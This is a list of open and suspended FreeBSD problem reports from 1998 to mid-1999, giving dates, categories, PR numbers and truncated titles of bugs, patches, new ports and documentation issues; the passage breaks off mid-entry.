lpd cannot send long files to HP's JetDir a [1998/02/02] ports/5626 billf 'ldap' port eats all available CPU time o [1998/02/02] kern/5627 Tertiary/Quaternary IDE Ctlrs: A few kern f [1998/02/05] misc/5662 sysinstall generates short dev names for o [1998/02/06] bin/5666 ifconfig fails to add alias o [1998/02/06] kern/5672 Crash from scsi aborted command 'Overlapp o [1998/02/09] kern/5689 sysctl vm.vmmeter - bogus and unsupported o [1998/02/10] bin/5711 bin/cat code cleanup o [1998/02/10] bin/5712 /bin/chio code cleaup and option added o [1998/02/10] bin/5717 pw -D -g "" returns error o [1998/02/10] bin/5718 pkg_delete refuses to run as non-root o [1998/02/14] bin/5745 [PATCH] Add /usr/local/share/mk to defaul o [1998/02/14] bin/5746 bootparamd will not netboot sun 3 compute o [1998/02/14] bin/5747 ld.so error message o [1998/02/15] bin/5758 sys/resources.h doesn't include sys/time. o [1998/02/17] kern/5768 Shutdown aborts syncing, when sync isn't o [1998/02/18] i386/5784 ibcs2 emulation not handling ioctl(..FION o [1998/02/19] ports/5788 joerg pcemu harddisk-access fixes o [1998/02/19] kern/5789 wcd0 requires ATAPI_STATIC o [1998/02/19] kern/5795 Panic: "bremfree: removing a buffer when o [1998/02/20] misc/5803 "tab" function from "ee" not compatible w o [1998/02/25] gnu/5841 installmost or install (world) of tmac fa o [1998/02/25] bin/5847 Makeworld fails if CXXFLAGS is set. s [1998/02/25] misc/5855 /etc/services is out of date with IANA o [1998/02/26] bin/5857 non-functional lpr/lpr o [1998/02/26] kern/5863 Kernel support for sorted SHUTDOWN & SHUT o [1998/03/01] bin/5880 df -t does not support devfs o [1998/03/02] bin/5901 new version of `fmt' o [1998/03/03] bin/5912 kinit exits if no user name specified o [1998/03/06] kern/5931 dma errors in syslog with GUS-max o [1998/03/06] i386/5932 perfmon kernel code should check for non- o [1998/03/08] bin/5944 cvs doesn't work correct. o [1998/03/10] ports/5972 andreas x11/fvwm95 requiring gsm, and rplay is a o [1998/03/11] gnu/5982 no error exit code from tar on child fail o [1998/03/12] gnu/5992 cvs y2k o [1998/03/13] bin/6000 kadmin ank uses bad default expiration of o [1998/03/15] bin/6015 indent(1) breaks source with backslash ne o [1998/03/16] kern/6032 poor TCP performance using FDDI over long o [1998/03/22] conf/6096 /sys/i386/conf/LINT: edit(???) sound_conf o [1998/03/22] gnu/6107 gdb should support PRINTF_HAS_LONG_LONG o [1998/03/28] bin/6156 Patches to make dump understand ENOSPC o [1998/03/28] bin/6161 2.2.6 kerberos servers are awfully visibl o [1998/03/31] bin/6183 quota hangups o [1998/03/31] kern/6184 No error if resulting file pos in lseek i o [1998/04/01] bin/6187 peter mounting nfs directories with -b can caus o [1998/04/03] bin/6202 No way to detect removable media. o [1998/04/03] bin/6206 Enhancements to the shutdown program o [1998/04/04] kern/6213 peter NFS-mounted swap (via vnconfig) easily cr o [1998/04/04] bin/6214 ping sometimes cannot be killed with a Co o [1998/04/05] conf/6220 Too few ttyv devices in the -RELEASE syst s [1998/04/06] bin/6223 PST/DST bug in /bin/date o [1998/04/06] bin/6234 ypserv -d is broken f [1998/04/07] kern/6247 Gravis UltraSound Classic no longer works o [1998/04/14] kern/6296 IP_HDRINCL sockets force header fields to a [1998/04/14] kern/6299 vmstat -i does not show PnP device interr s [1998/04/15] bin/6314 [PATCH] /usr/sbin/ac modification o [1998/04/16] kern/6318 pppd does not update wtmp on hangup o [1998/04/16] misc/6320 Sometimes nohup isn't good enough. o [1998/04/17] bin/6332 bde /usr/include/time.h doesn't compile with o [1998/04/17] gnu/6338 Gnu tar not working properly with the -G o [1998/04/18] conf/6346 Kernel version strings need to relate to o [1998/04/20] bin/6359 routed does sent router discovry solicita s [1998/04/20] bin/6371 [PATCH?] fetch(1) uses HTTP_PROXY for ftp a [1998/04/27] kern/6432 IFF_NOARP does not affect ethernet interf o [1998/04/30] kern/6464 tcpdump doesn't recognize tun0 when it's o [1998/05/03] kern/6495 Need pci_unmap_mem and pci_unmap_port rou s [1998/05/04] bin/6509 [ALMOST PATCH] Allow dd to seek/skip to o s [1998/05/05] bin/6521 [MAYBE PATCH] "rmdir -p x/y/z/" fails o [1998/05/07] kern/6544 luigi Only get one channel through sound card o [1998/05/07] ports/6546 ache 3line ansi prompt in tcsh: cursor disappe o [1998/05/11] i386/6595 Old IP address persistent after change o [1998/05/12] misc/6612 bsd.man.mk can't handle man pages with ": o [1998/05/13] kern/6623 non-root user can crash system if disconn o [1998/05/13] conf/6624 davidn One class with nologin=/etc/nologin: reje o [1998/05/15] kern/6651 peter Possible NFS deadlock clue s [1998/05/16] bin/6658 [PATCH] -stable getcwd(3) performs unnece s [1998/05/17] kern/6668 [PATCH] new driver: Virtual Ethernet driv a [1998/05/26] misc/6759 phk buggy code in libdisk.a's disk.c o [1998/05/26] kern/6760 can't compile kernel w/o networking o [1998/05/26] kern/6769 peter panic: nfs rcvunlock s [1998/05/29] kern/6781 [PATCH] exabyte changer doesn't grok LUNs s [1998/05/29] bin/6785 place for all the default dump flags f [1998/05/31] ports/6813 fenner patched audio module for vat port o [1998/06/01] ports/6815 torstenb ssh lookup ignores second IP address o [1998/06/01] kern/6820 cd9660_mount NULL pointer deref for no CD o [1998/06/06] kern/6874 accounting prevents transition to multi u o [1998/06/13] misc/6936 phk sysinstall: install from MS-DOS MO divece o [1998/06/18] kern/6981 CD unmount w/o CD in drive can cause pani s [1998/06/19] bin/6995 [patch] Minor flaw in fdformat s [1998/06/19] bin/6997 [patch] vnconfig "open" error message con s [1998/06/21] kern/7014 [PATCH][STABLE] Add support for SiS 5591 o [1998/06/22] bin/7021 asami Size estimation patches to pkg_* o [1998/06/22] bin/7022 asami changes to bsd.port.mk to accompany PR bi o [1998/06/22] bin/7023 asami bsd.port.(%|subdir.).mk patches for size f [1998/06/23] kern/7029 gibbs cdrecord and aic7880 troubles f [1998/06/23] i386/7031 Our RocketPort port does not support DEVF s [1998/06/24] kern/7044 [PATCH] WaveLAN (2.4G, ISA, full-length b o [1998/06/25] docs/7065 wosch FreeBSD webpages -> applications, port br f [1998/06/25] bin/7068 markm /usr/bin/perl: library path addition s [1998/06/28] kern/7095 [stable] Gravis MAX in 2.2.6 suffers from s [1998/06/28] i386/7100 integrate pcvt configuration into the /et s [1998/07/01] bin/7136 kerberized telnetd doesn't use gettytab % s [1998/07/02] kern/7146 The PCCARD doesnt recognize cards in top s [1998/07/06] bin/7184 /usr/games/robots fails to write high sco s [1998/07/08] kern/7210 [PATCH] od(4) bug fixes and enhancements, s [1998/07/10] misc/7232 Suggestion for FreeBSD installation dialo o [1998/07/10] kern/7234 yokota keyboard problems during login immediatel f [1998/07/10] misc/7239 ping(8) and traceroute(8) may report erra o [1998/07/12] bin/7265 A warning flag is added to ln(1). o [1998/07/13] ports/7268 asami MASTER_SITE_OVERRIDE works more better o [1998/07/14] kern/7282 some old and rarely used drivers have app o [1998/07/14] ports/7283 ache tcsh / LC_CTYPE - obscure problem. o [1998/07/15] bin/7287 Incorrect domain name for MAP_UPDATE in m o [1998/07/16] bin/7298 Improvements to ln(1). a [1998/07/19] bin/7324 wosch Suggestions for minor modifications to ad f [1998/07/23] kern/7377 we have a new digiboard driver supporting a [1998/07/31] docs/7456 doc dialog(3) man page outdated s [1998/08/09] kern/7546 [PATCH] [STABLE ?]shutdown -p - system po f [1998/08/12] kern/7589 Tulip Driver parses SROM contents wrong f [1998/08/13] conf/7606 [PATCH] NIS Makefile.dist: NOPUSH replace o [1998/08/14] kern/7619 odd nfs server not responding messages ap o [1998/08/16] ports/7628 dburr new port: sajber-jukebox o [1998/08/16] bin/7632 Race condition in /stand/sysinstall f [1998/08/16] i386/7633 panic: page fault on install with boot.fl s [1998/08/18] bin/7669 libalias does not IRC DCC packets under c o [1998/08/19] ports/7680 billf New port of tn5250 o [1998/08/19] gnu/7687 description of default baud rate for cu c o [1998/08/20] kern/7693 Misleading warning in cblock_alloc_cblock o [1998/08/20] bin/7694 bogus error-message from route(8) o [1998/08/22] kern/7722 Changes to acct format o [1998/08/23] bin/7728 ftpd processes hang o [1998/08/27] bin/7753 arp command fails silently on invalid pro o [1998/08/28] misc/7771 Debugging putenv/getenv o [1998/08/29] ports/7774 torstenb sshd doesn't refuse to login people with o [1998/08/29] bin/7779 [PATCH] modload should detect stripped ke o [1998/08/30] kern/7782 Kernel rebuild not correctly responding t o [1998/08/30] bin/7786 quota.h has superfluous semicolon in macr o [1998/09/01] gnu/7800 tar(1) does not recognize --gunzip option o [1998/09/02] i386/7816 dfr [Patch] NE2000 PnP card IDs to sys/i386/i o [1998/09/03] bin/7826 ls(1) knows too much about format of strf o [1998/09/03] bin/7828 Add a command line option to cp to make i o [1998/09/05] kern/7837 patches to add a p_auth extension pointer f [1998/09/07] ports/7845 tg Unbuffered /dev/vx0-output from Python 1. f [1998/09/07] misc/7850 ache lt_LT.* locale o [1998/09/07] kern/7856 Patches to add lkm hooks to cmsg_data anc o [1998/09/08] bin/7860 Extra option to pr(1). s [1998/09/08] bin/7868 [almost patch]Morse Code Fixups o [1998/09/08] bin/7869 Improved error messages from apm o [1998/09/09] docs/7873 doc poor initial configuration and documentat o [1998/09/11] bin/7895 multiple identical NFS mounts accepted o [1998/09/11] kern/7903 unmatched '{}' blocks. o [1998/09/16] misc/7946 ccdconfig gives confusing error when give o [1998/09/17] bin/7962 /usr/bin/ee prompts "save changes" when f o [1998/09/18] bin/7973 lpd: Bad control file owner in case of re o [1998/09/19] kern/7990 patch - teach kernel about RB_POWEROFF fl o [1998/09/19] ports/7992 ports New port: xemacs20-stepwise (XEmacs20 hac o [1998/09/20] bin/7998 pkg_add seems to have unneeded umask o [1998/09/20] misc/8005 yokota Keyboard freezes going from KDE to text m o [1998/09/21] kern/8015 [patch] Some sysctl descriptions for the o [1998/09/24] ports/8042 torstenb If pidentd dies, you must kill all telnet o [1998/09/26] bin/8060 install ignores the +X mode flag o [1998/09/27] conf/8061 profiling utilities seperate from profili o [1998/09/27] ports/8063 asami [PATCH] Add multiple CDROM support to bsd o [1998/09/29] bin/8084 NIT: non-working code in rshd o [1998/10/02] i386/8131 [patch] Support for PCI NE2000 compatible o [1998/10/03] misc/8133 markm [patch] bug in telnetd (Kerberos IV) o [1998/10/03] bin/8134 End of game is not recognised immediately o [1998/10/03] misc/8139 [patch] missing /usr/src/share/examples/d o [1998/10/04] bin/8142 freebsd 2.2.7 implementation of key(1) [s o [1998/10/04] i386/8146 [patch] kzipboot serial console setup and a [1998/10/06] bin/8163 [patch] It is impossible to assign quotas o [1998/10/06] i386/8171 [patch] Intel EtherExpress Pro 100 suppor o [1998/10/07] misc/8202 semop() is not wrapped for thread safety o [1998/10/08] bin/8211 Script to search kernel for an address o [1998/10/12] bin/8295 order of options in printcap causes some o [1998/10/13] conf/8303 3.0-981009-BETA can't make swap device on o [1998/10/13] kern/8311 kernel panic on de0 o [1998/10/16] misc/8346 Strftime can't generate ISO-8601 timezone o [1998/10/16] bin/8347 /usr/lib/compat build issues in 3.0 RELEA o [1998/10/16] kern/8349 [PATCH] Changer definition for SureStore f [1998/10/17] misc/8357 Segmentation fault while making SWARM-1.3 o [1998/10/19] kern/8376 CLOCK_VIRTUAL not implemented o [1998/10/19] misc/8378 Is termcap not maintained enough ? o [1998/10/22] kern/8420 __getcwd() from an (forcibly) unmounted f o [1998/10/24] misc/8434 boot.flp /bin/init crashes during probe w o [1998/10/24] i386/8436 boot.flp sysinstall crashes when probing o [1998/10/24] bin/8438 ex/vi: Error: tcsetattr: Interrupted syst o [1998/10/25] docs/8445 doc Update of "Installing Mathematica on Free o [1998/10/27] i386/8474 repquota does not pick up NIS information o [1998/10/28] bin/8479 Final \'s in /etc/exports did not work in o [1998/10/30] kern/8498 Race condition between unp_gc() and accep o [1998/10/30] bin/8501 snake has a segmentation fault depending o [1998/10/30] conf/8517 rc.conf/rc fails to set ldconfig -aout o [1998/10/31] misc/8519 Murphy's Laws o [1998/11/01] conf/8531 sysinstall on 3.0-RELEASE (and 3.0-curren o [1998/11/03] bin/8553 /usr/libexec/mail.local doesn't handle "> o [1998/11/04] i386/8571 Bug in config utility in FreeBSD 2.2.6-RE o [1998/11/07] kern/8589 incorrect spelling for "dependency" and " o [1998/11/07] i386/8598 MAKEDEV fails if not run from current dir o [1998/11/08] kern/8604 ps u gets confused about process start ti o [1998/11/08] kern/8605 ipsec for ipv4, new version o [1998/11/08] ports/8620 asami New option to colorls - -K, color only to o [1998/11/09] bin/8631 pci interrupts are shown on EISA only mac o [1998/11/09] kern/8633 TCP packet via SLIP/CSLIP containing this s [1998/11/12] kern/8661 stb sys/netatalk/at_control.c needs to correc o [1998/11/12] bin/8666 X blocks serial port with getty process o o [1998/11/13] gnu/8679 tar man page should be updated o [1998/11/14] bin/8681 other macro name that has same number is o [1998/11/18] ports/8754 se KDE: KDM Display Manager has login proble o [1998/11/18] bin/8756 'pw' command additional feature request o [1998/11/19] misc/8764 pwd_mkdb is slow on many users o [1998/11/19] docs/8765 dwhite some suggested text for describing passwo o [1998/11/22] bin/8809 fdisk calls QNX-4 partitions unknown o [1998/11/22] bin/8811 Problem to use 'NLSMODE' variable in Make a [1998/11/25] ports/8864 ports useradd - system V compatible implementat o [1998/11/27] i386/8867 /stand/sysinstall core dumps (signal 11) o [1998/11/29] kern/8895 DEC 21152 PCI-PCI bridge chip isn't probe o [1998/11/29] kern/8898 PCI devices without an associated driver o [1998/11/30] bin/8913 negative time values for csh 'time' built o [1998/12/01] i386/8923 ctm 2.2.5 -> 2.2.7 error hu_HU.ISO_8859- o [1998/12/01] kern/8925 options kern file needs AWE_DEFAULT_MEM_S o [1998/12/03] i386/8953 BINFORMAT not defined in 2.2-STABLE o [1998/12/03] bin/8955 request CVS allow advisory locks on repos o [1998/12/06] misc/8986 install-info breaks installworld over nfs o [1998/12/06] bin/8989 (patch) chflags support for mtree(8) o [1998/12/08] bin/9012 route add -host hostIP -interface localIP o [1998/12/10] conf/9051 2.2.8R boot floppy won't write to fixit f o [1998/12/11] bin/9055 When used without arguments, ``set'' and a [1998/12/12] bin/9064 n_hibma [PATCH] propose adding `direct' option in o [1998/12/14] bin/9078 tunefs cant access mounted devices (vs. m o [1998/12/15] kern/9092 DELF raid volumes cause panics under CAM o [1998/12/16] i386/9102 Voxware does not provide /dev/mixer for E o [1998/12/16] ports/9107 asami Addition to bsd.port.mk for searching mul o [1998/12/17] bin/9118 default install of aout compat libs is in o [1998/12/18] bin/9123 pax can't read tar archives that contain o [1998/12/20] kern/9144 luigi acd driver inconsistency (byte order in C o [1998/12/21] conf/9160 /etc/services file corruption o [1998/12/22] bin/9176 dillon placemark to split mount_ufs out of mount o [1998/12/23] kern/9183 newton chroot(2) can be broken by the superuser. o [1998/12/24] bin/9188 telnet gets stuck in ttydrain() o [1998/12/27] bin/9206 sysinstall installation should create /st f [1998/12/28] misc/9220 nvi: catalog: mistake in Russian error me o [1998/12/28] bin/9226 telnetd can log wrong IP address to utmp o [1998/12/29] bin/9233 gmp's mpq_add and mpq_sub are buggy o [1998/12/30] conf/9245 obsolete locale setting in /usr/src/etc/{ o [1998/12/30] bin/9250 [PATCH] allow fetch to do ftp directory l o [1998/12/31] i386/9257 fpathconf() missing from libc_r o [1998/12/31] bin/9259 allow no prompt for yes in fdformat, but o [1999/01/03] ports/9286 andreas Patch for games/nethack-qt to fix compila o [1999/01/03] ports/9289 kris New Port - ASPostit (Dockable version of o [1999/01/04] kern/9316 Intel PILA8461 NIC panics 2.2.7 during pr o [1999/01/04] bin/9318 vgrind(1): no JAVA support o [1999/01/04] i386/9319 D-Link DE-528CT poor performance o [1999/01/05] bin/9333 timestamp dump's progress o [1999/01/05] i386/9341 tty-level buffer overflows o [1999/01/06] docs/9352 hoek wrong macro names in groff_[ms|mm|mmse].7 f [1999/01/07] bin/9374 roberto Improved functionality for find(1) o [1999/01/08] conf/9388 magic(5) correction for wordperfect o [1999/01/08] kern/9392 Alternate system clock OR kernel stats cl f [1999/01/10] ports/9425 se KDE starting up from xdm has problem.... o [1999/01/13] bin/9470 aout-to-elf-build broken with kerberosIV- o [1999/01/13] kern/9474 "comcontrol rescan 0:8:0" hangs, causes o o [1999/01/14] bin/9494 new option to prevent mail from sending m o [1999/01/16] bin/9529 ftp filname completion can't handle space o [1999/01/17] bin/9536 make world installs aout compat libs in t o [1999/01/19] bin/9569 top(1) ignores tty EOF condition. o [1999/01/19] kern/9570 ed(4) irq config enhancement o [1999/01/19] bin/9573 ksrvtgt not working o [1999/01/20] kern/9590 Clean up for -Wall warnings o [1999/01/21] kern/9611 MFS calculates the size incorrectly when o [1999/01/22] kern/9619 Restarting mountd kills existing mounts o [1999/01/25] kern/9679 fix for uninterruptible open in portal fi o [1999/01/25] kern/9689 panic in sbdrop(kern/uipc_socket2.c) o [1999/01/26] bin/9711 Fails: cd /usr/bin; gzip file ; mv file. o [1999/01/27] i386/9721 Patch for FreeBSD netboot (booting via DO o [1999/01/28] kern/9748 error in queue handling of at_shutdown() o [1999/01/28] bin/9770 An openpty(3) auxiliary program o [1999/01/29] i386/9777 luigi Generic AD1816 sound suport in Luigi's pc o [1999/01/30] kern/9791 enhancement for netinet/ip_icmp.c to cont o [1999/01/30] ports/9792 msmith pib coredumps in port maker mode o [1999/01/30] ports/9795 obrien The Handbook is not clear on how to deal o [1999/01/30] bin/9809 finger output format wrong o [1999/01/31] ports/9840 asami patch allows ports to fetch their sources o [1999/01/31] kern/9848 ARP proxyall extra sanity check o [1999/02/01] bin/9868 Patch to add "date -a" o [1999/02/01] kern/9869 When using macros out of function, they s o [1999/02/01] conf/9874 idle-timeout facilities in /etc/login.con o [1999/02/03] bin/9902 error in german (and some other) locale s o [1999/02/06] bin/9931 config gives misleading error when duplic o [1999/02/07] ports/9954 ports New port: devel/ACE o [1999/02/08] bin/9972 groff always built for US (letter) sized o [1999/02/09] gnu/9987 jdp wrong (for FreeBSD) ELF_DYNAMIC_INTERPRET o [1999/02/09] bin/9990 Enhancement to filename completeion in cs o [1999/02/09] i386/9991 new driver for National Instruments GPIB o [1999/02/10] i386/10004 jkh instalation of current version from FTP s o [1999/02/10] ports/10007 ports New port: lang/mercury (the mercury compi o [1999/02/11] ports/10023 kris New port - net/gtkcookie o [1999/02/11] bin/10030 markm Kerberized telnet fails to encrypt when a o [1999/02/12] i386/10052 Matrox Millennium II AGP device/model id o [1999/02/14] docs/10085 nbm NIS Setup Tutorial o [1999/02/14] kern/10095 missing VGA description o [1999/02/15] gnu/10112 /usr/src/gnu/usr.bin/patch sorely out of o [1999/02/16] kern/10116 acd driver patch to support PD/CD drive. o [1999/02/16] ports/10124 ports New port: math/stat o [1999/02/18] docs/10146 jkh Release Notes and LINT for 3.1 include ha o [1999/02/18] kern/10149 New PCI device o [1999/02/19] bin/10158 Reference to ncheck in quot(8) o [1999/02/19] kern/10159 Unable to unload vinum module o [1999/02/19] kern/10160 kldload of umap module panics the system o [1999/02/19] ports/10162 se Fix kdmrc to add qmail usernames to NoUse o [1999/02/19] misc/10167 Upon exiting X11R6, monitor goes blank. o [1999/02/20] bin/10169 find -perm doesn't allow a bitwise o [1999/02/20] kern/10175 Bridging support incomplete for some netc o [1999/02/21] ports/10178 torstenb USE_SOCKS=YES option broken for security/ o [1999/02/22] ports/10196 torstenb Better startup scripts for ssh a [1999/02/23] misc/10231 inet_addr() doesn't check for illegal val o [1999/02/25] docs/10240 doc We need a script which check if our web m o [1999/02/25] conf/10244 jkh 100 character limit on any pathname in sy o [1999/02/25] kern/10255 Some more SiS chipset PCI IDs for chipset o [1999/02/26] bin/10274 make does not understand "lib(obj)" synta o [1999/02/26] bin/10283 Race condition in rc.network o [1999/02/28] bin/10300 dmesg exits on signal 10 o [1999/03/01] misc/10325 Implementation of itoa() for libc o [1999/03/01] bin/10342 putenv(3) unnecessarily calls strdup/free o [1999/03/01] docs/10349 phantom For long .Dt fields, rendering is broken- o [1999/03/02] misc/10351 /usr/share/examples/worm is out of date o [1999/03/02] bin/10358 ftp(1) has problems with long pathnames f [1999/03/05] ports/10396 asami SPIN is in the wrong category o [1999/03/06] kern/10440 Discard device does not set ifq_maxlen o [1999/03/06] bin/10444 avoiding lost mail when mail filesystem i o [1999/03/06] ports/10454 obrien Update: emulators/spim a [1999/03/06] kern/10455 pcaudio breakage o [1999/03/07] i386/10465 Must disable ex0 to install. o [1999/03/08] bin/10493 ipfw's undocumented feature o [1999/03/10] bin/10522 make world died due -Werror o [1999/03/10] bin/10524 3.1-19990309-STABLE install problem o [1999/03/10] ports/10532 ports New port: lang/gpc - GNU Pascal o [1999/03/10] bin/10538 sbin/nos-tun gives wrong usage message o [1999/03/11] bin/10546 imp Intel Pro/100 PC card has CIS string > CI o [1999/03/11] bin/10548 More useful default ifconfig behaviour sa o [1999/03/12] kern/10563 QIC 40/80 tape drive ft present in versio o [1999/03/13] kern/10574 3.1-stable kernel reports k6 cpu as "\^E" o [1999/03/14] conf/10582 Makefile.upgrade fails with make -j o [1999/03/14] misc/10589 Incorrect assumptions in /etc/security o [1999/03/14] bin/10590 new option to silince confirmation but no o [1999/03/15] bin/10601 wosch Ownership of symlinks copied by adduser a o [1999/03/15] i386/10606 Probablue odd error message if LS-120 is o [1999/03/15] i386/10608 add Opti Viper-M PCI ID o [1999/03/15] kern/10609 adjtime bug (tv_sec > 2147) and enhanceme o [1999/03/15] bin/10610 New options to date to slowly adjust time o [1999/03/15] bin/10611 timed enhancement o [1999/03/16] bin/10622 vi does not display Russian characters pr o [1999/03/16] i386/10623 DFLTPHYS in /usr/src/sys/i386/include/par o [1999/03/16] ports/10634 ports Update the hylafax port to do a client in o [1999/03/17] kern/10641 Default sync rate in ncr SCSI driver is s o [1999/03/17] kern/10642 exports(5) mentions KERBNFS but that's no o [1999/03/18] bin/10657 Unable to install from CDROM or DOS parti o [1999/03/18] kern/10663 hpscan doesn't like 3.1's pt device o [1999/03/18] misc/10667 Sysinstall inserts multiple # -- sysinsta o [1999/03/19] gnu/10670 cvs doesn't allow digits in local keyword o [1999/03/19] kern/10673 wpaul Non-ASCII chars on serial console with Re o [1999/03/19] kern/10678 Printing problems using ppc bus o [1999/03/19] ports/10682 asami List mirror sites in MASTER_SITE_BACKUP - o [1999/03/22] kern/10728 sos WCD driver does not recognize a recovered o [1999/03/23] kern/10755 de driver says `invalid EESPROM checksum' o [1999/03/23] i386/10766 obsolete device name wcd is still left un o [1999/03/24] i386/10779 zp slot 0 sees 3Com 589 PCMCIA card but z o [1999/03/25] bin/10793 cvs update modification time check granul o [1999/03/26] misc/10803 joe whois(1) client enchancements a [1999/03/26] misc/10804 joe whois(1) enhancement o [1999/03/26] kern/10812 LINT configuration MAXDSIZ/DFLDSIZ mislea o [1999/03/27] bin/10825 daily script not executed or executed twi f [1999/03/28] ports/10844 deischen New port: adagdb o [1999/03/29] docs/10850 doc submitting a documentation change for sed o [1999/03/29] bin/10856 vty's from ttyvc - ttvf (maybe more?) do o [1999/03/30] bin/10868 BUG in /usr/bin/calendar o [1999/03/30] misc/10871 wst0 fails with Sony SuperStation streami o [1999/03/30] bin/10878 host(1) dumps core o [1999/03/31] kern/10894 wrong error message in svctcp_create() o [1999/04/01] bin/10905 sa(8) is hard coded for 8 character user o [1999/04/01] gnu/10910 Integration of Objective C patches into g o [1999/04/02] bin/10923 obrien /usr/bin/cpp is an out-of-date wrapper fo o [1999/04/02] bin/10924 Extensions to biff(1) o [1999/04/03] bin/10931 biff b o [1999/04/04] ports/10945 jmz X11 "sessreg" program does not update /va o [1999/04/06] bin/10980 With ctags -x no space is left between na o [1999/04/07] docs/10997 doc Problem with query-pr-summary.cgi o [1999/04/07] i386/11006 Sysinstall silently makes FreeBSD's parti o [1999/04/08] kern/11020 popen does not honor ISO 9899 syntax o [1999/04/08] bin/11031 [PATCH] mount and umount support for mort o [1999/04/08] bin/11032 h2ph's cpp #warning/#error directive proc o [1999/04/08] bin/11036 markm Perl does not honor -DNOMAN o [1999/04/08] bin/11037 Gencat doesn't properly handle \ddd octal o [1999/04/09] ports/11048 obrien variable not initialized in fwtk-lib lead o [1999/04/09] bin/11051 ps's -U option should accept a list of us o [1999/04/09] misc/11052 [PATCH] performance bug fix to fgets() ro o [1999/04/10] conf/11058 Recent change to rc script causes hang on o [1999/04/11] bin/11085 Per-host configuration for syslog.conf o [1999/04/11] bin/11092 readlink(1) from OpenBSD o [1999/04/11] bin/11094 lastlogin.8 from NetBSD o [1999/04/12] kern/11109 ipfw.ko Makefile contains CFLAGS+= -DDIVE o [1999/04/13] misc/11111 Error opening terminal: su o [1999/04/13] bin/11114 make(1) does not work as documented with o [1999/04/13] misc/11126 vt100 termcap entry appears broken o [1999/04/14] ports/11134 hoek existense of /usr/obj/usr/ports/shells/ba o [1999/04/14] ports/11138 jmz New version of Xevil 2.01, I created a po o [1999/04/14] bin/11141 u_long is not big enough o [1999/04/16] i386/11165 IBCS2 don't work correctly with PID_MAX 9 o [1999/04/16] bin/11168 pw(8) usermod does not recognize -w flag o [1999/04/16] kern/11178 [PATCH] minor fix to /usr/include/sys/mbu o [1999/04/18] i386/11201 brian mktime possible bug o [1999/04/18] bin/11205 Suggestion: move mt(1) to /bin o [1999/04/18] i386/11207 sys/i386/isa/rp.c: fixed breaking and war o [1999/04/19] kern/11222 MFS does not sync from reboot syscall o [1999/04/20] kern/11235 Need to submit new driver o [1999/04/20] bin/11236 mountd fails to properly check for kernel o [1999/04/20] conf/11243 mountd startup can lose flags o [1999/04/20] bin/11248 Shuffle o [1999/04/21] docs/11258 doc suggestion to refine npx.4 o [1999/04/22] kern/11287 rfork(RFMEM...) doesn't share LDTs set by o [1999/04/23] kern/11293 brian FreeBSD's PPP implementation of LQM appea o [1999/04/23] bin/11294 direct logging to other hosts (no local s o [1999/04/25] misc/11316 jkh [PATCH] HTTP proxy support for sysinstall o [1999/04/27] ports/11353 asami Feature additions to bsd.port.mk. o [1999/04/27] bin/11360 Allow specification of "search" in resolv o [1999/04/28] kern/11365 plip in Linux mode has trouble with some o [1999/04/28] bin/11370 more segfaults if you give it a real file o [1999/04/29] bin/11387 mount_cd9660 doesn't show rockridge filen o [1999/04/29] ports/11388 torstenb patch for ircII so /window create works o [1999/04/29] bin/11399 Calendar doesn't always handle 'last' day o [1999/04/30] kern/11410 code typo in ad1848.c: the != operator ha o [1999/04/30] kern/11411 code typo in clones.c: "if ((mpu_config = o [1999/04/30] kern/11412 code typo in ip_fil.c: missing NULL check o [1999/04/30] kern/11413 code typo in pci.c: the != operator has h o [1999/04/30] kern/11414 code typo in pcf.c: the != operator has h o [1999/04/30] kern/11415 code typo in wst.c: the != operator has h o [1999/04/30] kern/11416 code typo in sequencer.c: "if (!processed o [1999/05/02] misc/11448 Better looking VGA font for iso2 o [1999/05/03] misc/11478 Non-functional AFS support in KerberosIV o [1999/05/05] kern/11516 NetGear 10/100 Ethernet 21140-based Ether o [1999/05/05] kern/11517 ../../kern/kern_ntptime.c:533: warning: i o [1999/05/05] kern/11518 ../../pci/if_tx.c:1376: warning: no previ o [1999/05/05] kern/11519 dead code in ncr driver o [1999/05/06] bin/11552 sendmail local delivery (mail.local) can' o [1999/05/06] misc/11553 /usr/share/misc/latin1 (new file submissi o [1999/05/07] misc/11569 Automatically run fsck when the file syst o [1999/05/09] bin/11608 vnconfig not supporting swap-backed vn de o [1999/05/09] bin/11609 vnconfig -v reports page numbers, not byt s [1999/05/09] ports/11611 billf Update port: net/ntop o [1999/05/10] bin/11623 quot uses 32-bit integers for its calcula o [1999/05/10] conf/11626 /var/log/kerberos is rotated o [1999/05/10] bin/11637 build of kdump fails o [1999/05/12] bin/11669 gcc 2.7.2.1 gets bad magic error linking o [1999/05/12] bin/11671 "vidfont -r" fails, asking for font size o [1999/05/12] i386/11674 can't do make imake build or anything sin o [1999/05/12] kern/11676 PCIless kernel will not compile with ATAP o [1999/05/13] i386/11683 olpt/nlpt name change not in man pages o [1999/05/13] misc/11689 Change "netstat" mode in daily "status-ne o [1999/05/17] bin/11746 Add support for Solaris mailboxes o [1999/05/18] kern/11765 performance bug: network devices fxp & de o [1999/05/18] misc/11767 sppp does not implement VJ compression o [1999/05/19] kern/11789 ELF machine definition missing for ARM o [1999/05/21] bin/11818 Added a feature to ping(8) o [1999/05/21] ports/11820 asami bsd.port.subdir.mk does not define the `m o [1999/05/21] i386/11829 Boot Failure (Register Dump) with MFSroot o [1999/05/22] misc/11838 xwindows configuration problem o [1999/05/22] ports/11840 asami Feature fixup: bsd.port.mk o [1999/05/24] kern/11881 when a dummynet pipe is encountered it st o [1999/05/25] misc/11890 make world creates /lkm directory o [1999/05/26] bin/11896 cap_mkdb dumps core when non-files passe o [1999/05/26] i386/11898 Connot wirte to floppy on HP OB800CT with o [1999/05/26] bin/11900 Sed(1) fails with MALLOC_OPTIONS set to ' o [1999/05/27] conf/11905 jkh sysinstall desktop changing inconvenience o [1999/05/28] bin/11914 makewhatis during installworld uses /usr/ o [1999/05/28] i386/11920 FBSD 3.2 upgrade claims not to upgrade /u o [1999/05/28] i386/11921 /usr/X11R6/lib/aout libraries screwed up o [1999/05/29] conf/11925 rc.conf cosmetic naming inconsistencies o [1999/05/29] bin/11929 symorder doesn't work on elf format objec o [1999/05/29] kern/11941 FreeBSD box reboots itself when changing o [1999/05/30] kern/11945 tape problems on -stable, mt bl(ocksize), o [1999/05/31] kern/11968 kldload should call module entry point be o [1999/06/01] docs/11978 doc timed(8) manpage does not define '-F' swi o [1999/06/01] i386/11979 Vaio 505DX touchpad not detected as Glide o [1999/06/01] kern/11981 brian access to tunN devices not allowed to non o [1999/06/02] conf/11989 pppd(8) output misplaced s [1999/06/02] bin/11997 Enhancement for lpr o [1999/06/03] kern/12014 Fix SysV Semaphore handling o [1999/06/05] misc/12044 having tcl.h in 